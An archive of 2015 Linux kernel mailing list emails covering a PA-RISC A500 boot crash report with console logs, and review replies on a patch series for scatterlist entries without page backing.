Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 12 22:31:14 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPcg4-0007r4-Ny
	for glpp-linux-parisc@plane.gmane.org; Wed, 12 Aug 2015 22:31:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751117AbbHLUbM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Aug 2015 16:31:12 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:43875 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751078AbbHLUbL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Aug 2015 16:31:11 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 38E1F73E311
	for <linux-parisc@vger.kernel.org>; Wed, 12 Aug 2015 23:31:09 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 56AA52212A0; Wed, 12 Aug 2015 23:35:30 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 47FCD221258
	for <linux-parisc@vger.kernel.org>; Wed, 12 Aug 2015 23:35:30 +0300 (EEST)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25942
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25942>

Tried 4.2.0-rc3-00246-g763e326 on A500 but it crashes on boot. This is 
still present in todays 4.2.0-rc6+git. 4.1 was fine, I Will bisect but 
it takes time.

PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9b
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
serial 0000:00:04.0: enabling device (0146 -> 0147)
console [ttyS0] disabled
0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 21, base_baud = 115200) is a 16550A
console [ttyS0] enabled
console [ttyS0] enabled
bootconsole [ttyB0] disabled
bootconsole [ttyB0] disabled
0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 21, base_baud = 115200) is a 16550A
0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 21, base_baud = 115200) is a 16550A
serial 0000:00:05.0: enabling device (0000 -> 0003)
serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
0000:00:05.0: ttyS3 at MMIO 0xfffffffff8003000 (irq = 22, base_baud = 115200) is a 16550A
serial 0000:00:05.0: Couldn't register serial port 0, irq 22, type 2, error -28
sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)

************* SYSTEM ALERT **************
SYSTEM NAME: a500-m
DATE: 07/26/2015 TIME: 06:06:56
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system 
down.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 00000000 00000000 - type  0 = Data Field Unused
0x5800087000FF6292 00007306 1A060638 - type 11 = Timestamp 07/26/2015 
06:06:56
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:a
*****************************************




-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Calaby <julian.calaby@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: RFC: prepare for struct scatterlist entries without page backing
Date: Thu, 13 Aug 2015 09:37:37 +1000
Lines: 49
Approved: news@gmane.org
Message-ID: <CAGRGNgUKkaPnyvn30DXyNpdiXQzS6J=1+mQ3ick8C8=bhx_RHA@mail.gmail.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de> <55CB3F47.3000902@plexistor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439422684 1398 80.91.229.3 (12 Aug 2015 23:38:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 23:38:04 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>, axboe@kernel.dk,
	linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
	linux-nvdimm@ml01.01.org, David Howells <dhowells@redhat.com>,
	sparclinux <sparclinux@vger.kernel.org>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
	x86@kernel.org, David Woodhouse <dwmw2@infradead.org>,
	=?UTF-8?Q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
	linux-xtensa@linux-xtensa.org, grundler@parisc-linux.org,
	realmz6@gmail.com, alex.williamson@redhat.com,
	linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
	linux-parisc@vger.kernel.org, vgupta@synopsys.com,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-alpha@vger.kernel.org,
	Linux Media Mailing List <linux-media@vger.kernel.org>,
	linuxppc-dev@lists.ozlabs.org
To: Boaz Harrosh <boaz@plexistor.com>, Christoph Hellwig <hch@lst.de>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Aug 13 01:38:01 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZPfar-0004mb-0Q
	for glka-linux-arch@plane.gmane.org; Thu, 13 Aug 2015 01:38:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751892AbbHLXh7 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 12 Aug 2015 19:37:59 -0400
Original-Received: from mail-ig0-f177.google.com ([209.85.213.177]:36421 "EHLO
	mail-ig0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751887AbbHLXh5 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 12 Aug 2015 19:37:57 -0400
Original-Received: by igxp17 with SMTP id p17so10540670igx.1;
        Wed, 12 Aug 2015 16:37:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=oKz68+y1udZVYIaxcCdMYLiWwEtrdlVfAzLUNxnLxoU=;
        b=x+F7KHYApsXkKwNlILHIj0u0Bw137dSzSgUI036w43P7BpPGrL4Vs9VwBY820YV4Vs
         P8qRBo3JDayepGGw39nVx+SKPmhWKX1bHMZL5qTkDh0AHuz239pd4Lrpmsa0U/YlX9cy
         d1SbSjoZGkZNEYGFD6BLIYoSTB8Nb+kPbcXCRVBIz3ZHXBjqIFsf9dKG5HLfHCBI9TRu
         Bm6GDb7aG+FQXnv3eh7G+pMkc8fsiNatAnXUQ/4pgnYdwQPGCoKxu4RxMZwyElFKacda
         WJGMqaBNd7vF34gG4SM8RYztYIFX/MDY2SQDDxCeV1f7DyVL9fhPtWRxe28c5dQBsbzw
         FkRQ==
X-Received: by 10.50.43.197 with SMTP id y5mr25156466igl.27.1439422676389;
 Wed, 12 Aug 2015 16:37:56 -0700 (PDT)
Original-Received: by 10.79.18.132 with HTTP; Wed, 12 Aug 2015 16:37:37 -0700 (PDT)
In-Reply-To: <55CB3F47.3000902@plexistor.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28880 gmane.linux.ports.mips.general:49979 gmane.linux.ports.ia64:25716 gmane.linux.ports.sparc:21424 gmane.linux.kernel.metag:625 gmane.linux.ports.parisc:25943 gmane.linux.kernel:2019209 gmane.linux.ports.alpha:3316 gmane.linux.drivers.video-input-infrastructure:93997 gmane.linux.ports.ppc64.devel:116818
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28880>

Hi,

On Wed, Aug 12, 2015 at 10:42 PM, Boaz Harrosh <boaz@plexistor.com> wrote:
> On 08/12/2015 10:05 AM, Christoph Hellwig wrote:
>> It turns out most DMA mapping implementation can handle SGLs without
>> page structures with some fairly simple mechanical work.  Most of it
>> is just about consistently using sg_phys.  For implementations that
>> need to flush caches we need a new helper that skips these cache
>> flushes if a entry doesn't have a kernel virtual address.
>>
>> However the ccio (parisc) and sba_iommu (parisc & ia64) IOMMUs seem
>> to be operate mostly on virtual addresses.  It's a fairly odd concept
>> that I don't fully grasp, so I'll need some help with those if we want
>> to bring this forward.
>>
>> Additional this series skips ARM entirely for now.  The reason is
>> that most arm implementations of the .map_sg operation just iterate
>> over all entries and call ->map_page for it, which means we'd need
>> to convert those to a ->map_pfn similar to Dan's previous approach.
>>
>
[snip]
>
> It is a bit of work but is worth while, and accelerating tremendously
> lots of workloads. Not like this abomination which only branches
> things more and more, and making things fatter and slower.

As a random guy reading a big bunch of patches on code I know almost
nothing about, parts of this comment really resonated with me:
overall, we seem to be adding a lot of if statements to code that
appears to be in a hot path.

I.e. ~90% of this patch set seems to be just mechanically dropping
BUG_ON()s and converting open coded stuff to use accessor functions
(which should be macros or get inlined, right?) - and the remaining
bit is not flushing if we don't have a physical page somewhere.

Would it make sense to split this patch set into a few bits: one to
drop all the useless BUG_ON()s, one to convert all the open coded
stuff to accessor functions, then another to do the actual page-less
sg stuff?

Thanks,

-- 
Julian Calaby

Email: julian.calaby@gmail.com
Profile: http://www.google.com/profiles/julian.calaby/

From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 13 Aug 2015 07:32:25 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <BLU437-SMTP22FDC655D41AF9BCB78508977D0@phx.gbl>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1439465567 16988 80.91.229.3 (13 Aug 2015 11:32:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 11:32:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 13 13:32:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPqkK-0006dV-J5
	for glpp-linux-parisc@plane.gmane.org; Thu, 13 Aug 2015 13:32:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752373AbbHMLcc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Aug 2015 07:32:32 -0400
Original-Received: from blu004-omc4s8.hotmail.com ([65.55.111.147]:64361 "EHLO
	BLU004-OMC4S8.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752346AbbHMLcb convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Aug 2015 07:32:31 -0400
Original-Received: from BLU437-SMTP22 ([65.55.111.137]) by BLU004-OMC4S8.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Thu, 13 Aug 2015 04:32:28 -0700
X-TMN: [ZQbgWyC+ldJvDHhsvNUoGpFUkxYh7255]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 13 Aug 2015 11:32:27.0339 (UTC) FILETIME=[BB6651B0:01D0D5BB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25944
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25944>

On 2015-08-12, at 4:35 PM, Meelis Roos wrote:

> Tried 4.2.0-rc3-00246-g763e326 on A500 but it crashes on boot. This is 
> still present in todays 4.2.0-rc6+git. 4.1 was fine, I Will bisect but 
> it takes time.

This is probably a hpmc.  Could you look at SL event log?  It should show address of
the hpmc.  Then, look at kernel image with objdump and search for address.  This should
show where crash occurred and it might give a clue as to the cause.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 13 Aug 2015 07:35:41 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <BLU436-SMTP2069A5FF25115ADFCC8A9B977D0@phx.gbl>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1439465762 19941 80.91.229.3 (13 Aug 2015 11:36:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 11:36:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 13 13:35:57 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPqnV-0001Uc-1Q
	for glpp-linux-parisc@plane.gmane.org; Thu, 13 Aug 2015 13:35:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752063AbbHMLfs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Aug 2015 07:35:48 -0400
Original-Received: from blu004-omc4s16.hotmail.com ([65.55.111.155]:59086 "EHLO
	BLU004-OMC4S16.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752010AbbHMLfr convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Aug 2015 07:35:47 -0400
Original-Received: from BLU436-SMTP20 ([65.55.111.135]) by BLU004-OMC4S16.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Thu, 13 Aug 2015 04:35:44 -0700
X-TMN: [mZJE1iquwzRVPrxiLmvlY+GkTgDx5iBG]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 13 Aug 2015 11:35:43.0938 (UTC) FILETIME=[3094F220:01D0D5BC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25945
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25945>

On 2015-08-12, at 4:35 PM, Meelis Roos wrote:

> serial 0000:00:05.0: Couldn't register serial port 0, irq 22, type 2, error -28

There's something wrong here.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH 29/31] parisc: handle page-less SG entries
Date: Thu, 13 Aug 2015 16:31:50 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20150813143150.GA17183@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de> <1439363150-8661-30-git-send-email-hch@lst.de> <CA+55aFxsH9Lde7wqZi555vqfH2uxeQqC9cjeca9L6Wr=XpyzXA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1439476319 1691 80.91.229.3 (13 Aug 2015 14:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 14:31:59 +0000 (UTC)
Cc: Jens Axboe <axboe@kernel.dk>,
	Dan Williams <dan.j.williams@intel.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	=?iso-8859-1?Q?H=E5vard?= Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Miao Steven <realmz6@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Michal Simek <monstr@monstr.eu>,
	the arch/x86 maintainers <x86@kernel.org>,
	David Woodhouse <dwmw2@infradead.org>,
	Alex Williamson <alex.williamson@redhat.com>,
	grundler@parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	linux-alpha@vger.kernel.org,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-metag@vger.kernel.org,
	linux-mips <linux-mips@linux-mips.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	ppc-dev <linuxppc-dev@lists.ozlabs.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	s
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Aug 13 16:31:56 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1ZPtXv-0004tJ-OY
	for glpi-linux-ia64-2@plane.gmane.org; Thu, 13 Aug 2015 16:31:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752110AbbHMObz (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Thu, 13 Aug 2015 10:31:55 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:48716 "EHLO newverein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751996AbbHMObx (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Thu, 13 Aug 2015 10:31:53 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 2CD09691A2; Thu, 13 Aug 2015 16:31:50 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CA+55aFxsH9Lde7wqZi555vqfH2uxeQqC9cjeca9L6Wr=XpyzXA@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:25719 gmane.linux.kernel:2019673 gmane.linux.kernel.cross-arch:28888 gmane.linux.ports.alpha:3317 gmane.linux.kernel.metag:626 gmane.linux.ports.mips.general:50011 gmane.linux.ports.parisc:25946 gmane.linux.ports.ppc64.devel:116860 gmane.linux.ports.sparc:21432 gmane.linux.drivers.video-input-infrastructure:94011
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/25719>

On Wed, Aug 12, 2015 at 09:01:02AM -0700, Linus Torvalds wrote:
> I'm assuming that anybody who wants to use the page-less
> scatter-gather lists always does so on memory that isn't actually
> virtually mapped at all, or only does so on sane architectures that
> are cache coherent at a physical level, but I'd like that assumption
> *documented* somewhere.

It's temporarily mapped by kmap-like helpers.  That code isn't in
this series. The most recent version of it is here:

https://git.kernel.org/cgit/linux/kernel/git/djbw/nvdimm.git/commit/?h=pfn&id=de8237c99fdb4352be2193f3a7610e902b9bb2f0

note that it's not doing the cache flushing it would have to do yet, but
it's also only enabled for x86 at the moment.
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH 31/31] dma-mapping-common: skip kmemleak checks for
	page-less SG entries
Date: Thu, 13 Aug 2015 16:33:25 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20150813143325.GB17183@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de> <1439363150-8661-32-git-send-email-hch@lst.de> <CA+55aFxfZM81HNfo2ysfhGwrhx6GX-+F--+jLFmMVv+Z0id2rw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1439476418 3306 80.91.229.3 (13 Aug 2015 14:33:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 14:33:38 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>, Jens Axboe <axboe@kernel.dk>,
	Dan Williams <dan.j.williams@intel.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	=?iso-8859-1?Q?H=E5vard?= Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Miao Steven <realmz6@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Michal Simek <monstr@monstr.eu>,
	the arch/x86 maintainers <x86@kernel.org>,
	David Woodhouse <dwmw2@infradead.org>,
	Alex Williamson <alex.williamson@redhat.com>,
	grundler@parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	linux-alpha@vger.kernel.org,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-metag@vger.kernel.org,
	linux-mips <linux-mips@linux-mips.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	ppc-dev <linuxppc-dev@lists.ozlabs.org>,
	linux-s390
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Aug 13 16:33:34 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZPtZU-00080i-JI
	for glka-linux-arch@plane.gmane.org; Thu, 13 Aug 2015 16:33:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752700AbbHMOda (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 13 Aug 2015 10:33:30 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:48737 "EHLO newverein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752474AbbHMOd2 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Thu, 13 Aug 2015 10:33:28 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 01CA9691E9; Thu, 13 Aug 2015 16:33:26 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CA+55aFxfZM81HNfo2ysfhGwrhx6GX-+F--+jLFmMVv+Z0id2rw@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28889 gmane.linux.kernel:2019675 gmane.linux.ports.alpha:3318 gmane.linux.ports.ia64:25720 gmane.linux.kernel.metag:627 gmane.linux.ports.mips.general:50012 gmane.linux.ports.parisc:25947 gmane.linux.ports.ppc64.devel:116861 gmane.linux.ports.sparc:21433 gmane.linux.drivers.video-input-infrastructure:94012
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28889>

On Wed, Aug 12, 2015 at 09:05:15AM -0700, Linus Torvalds wrote:
> [ Again, I'm responding to one random patch - this pattern was in
> other patches too.  ]
> 
> A question: do we actually expect to mix page-less and pageful SG
> entries in the same SG list?
> 
> How does that happen?

Both for DAX and the video buffer case people could do direct I/O
spanning the boundary between such a VMA and a normal one unless
we add special code to prevent that.  Right now I don't think it's
all that useful, but then again it doesn't seem harmful either
and adding those checks might add up.

From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: RFC: prepare for struct scatterlist entries without page
	backing
Date: Thu, 13 Aug 2015 16:35:28 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20150813143528.GC17183@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de> <55CB3F47.3000902@plexistor.com> <CAGRGNgUKkaPnyvn30DXyNpdiXQzS6J=1+mQ3ick8C8=bhx_RHA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1439476543 5446 80.91.229.3 (13 Aug 2015 14:35:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 14:35:43 +0000 (UTC)
Cc: Boaz Harrosh <boaz@plexistor.com>, Christoph Hellwig <hch@lst.de>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	axboe@kernel.dk, linux-mips@linux-mips.org,
	linux-ia64@vger.kernel.org, linux-nvdimm@ml01.01.org,
	David Howells <dhowells@redhat.com>,
	sparclinux <sparclinux@vger.kernel.org>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
	x86@kernel.org, David Woodhouse <dwmw2@infradead.org>,
